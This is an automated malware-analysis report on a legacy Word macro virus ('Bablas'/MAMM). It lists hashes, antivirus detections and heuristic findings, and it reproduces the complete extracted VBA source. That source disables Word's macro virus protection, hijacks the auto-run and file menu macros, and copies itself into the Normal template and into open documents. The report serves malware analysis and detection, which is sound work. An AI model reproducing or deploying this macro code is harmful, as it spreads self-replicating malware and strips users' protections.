Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a9979a3eaa646f6d…

MALICIOUS

Office (OLE)

42.0 KB Created: 2000-08-21 19:10:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 533eada2004db212e828543e989b94cc SHA-1: 7651a51f381984df40defb112e4d40d23080bc4f SHA-256: a9979a3eaa646f6d59e1af87568012736289965720cdbf70b9f972b7008cb0a6
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits characteristics of a legacy macro virus, including the presence of WordBasic macro virus markers and VBA macros such as AutoOpen and AutoClose. The 'Bablas' macro appears to be designed to manipulate document settings and potentially copy malicious components, as indicated by the 'SikatDocument' subroutine. The ClamAV detections 'Legacy.Trojan.Agent-34741' and 'Doc.Trojan.Bablas-5' further confirm its malicious nature, suggesting it acts as a downloader or dropper for further malicious activity.

Heuristics 6

  • ClamAV: Legacy.Trojan.Agent-34741 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Legacy.Trojan.Agent-34741
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3701 bytes
SHA-256: 0c21efe496e73fe2a5e0d3bb432b21f464bd60fa61b697f29c2292d19e2dd31b
Detection
ClamAV: Doc.Trojan.Bablas-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MAMM"
Sub ShowMessage()
    H = Time
    If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
    MsgBox "If you delete this, you have no heart", 48, "To: MAMM"
    End If
End Sub

Sub Bablas()
Attribute Bablas.VB_Description = "Macro created 10/02/99 by  Abdul Aziz"
Attribute Bablas.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsMacro()
End Sub

Sub ViewVbCode()
    ToolsMacro
End Sub

Sub FileTemplates()
    ToolsMacro
End Sub
Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Bablas
End Sub
Sub SikatDocument()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "MAMM" Then DocOk = True
        If Obj.Name <> "MAMM" And Obj.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="MAMM", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SikatTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "MAMM" Then NorOk = True
        If Obj.Name <> "MAMM" And Obj.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="MAMM", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    ShowMessage
    Application.Quit
End Sub

Sub FileOpen()
    WordBasic.disableautomacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        SikatDocument
        ActiveDocument.Save
    End If
    WordBasic.disableautomacros False
End Sub

Sub AutoOpen()
    Bablas
    SikatTemplate
    On Error Resume Next
    NormalTemplate.Save
End Sub

Sub AutoClose()
    SikatDocument
End Sub

Sub FileClose()
    AutoClose
End Sub

Sub FileSave()
    If ActiveDocument.Saved = False Then
        SikatDocument
        SikatTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub Ancurin()
    C = Documents.Count
    If C <> 0 Then
        Normal.MAMM.SikatDocument
        WordBasic.disableautomacros False
        On Error Resume Next
        If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
    Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.MAMM.Ancurin"
    End If
End Sub

Sub AutoExec()
    WordBasic.disableautomacros True
    Bablas
    Application.OnTime Now + TimeValue("00:00:07"), "Normal.MAMM.Ancurin"
End Sub

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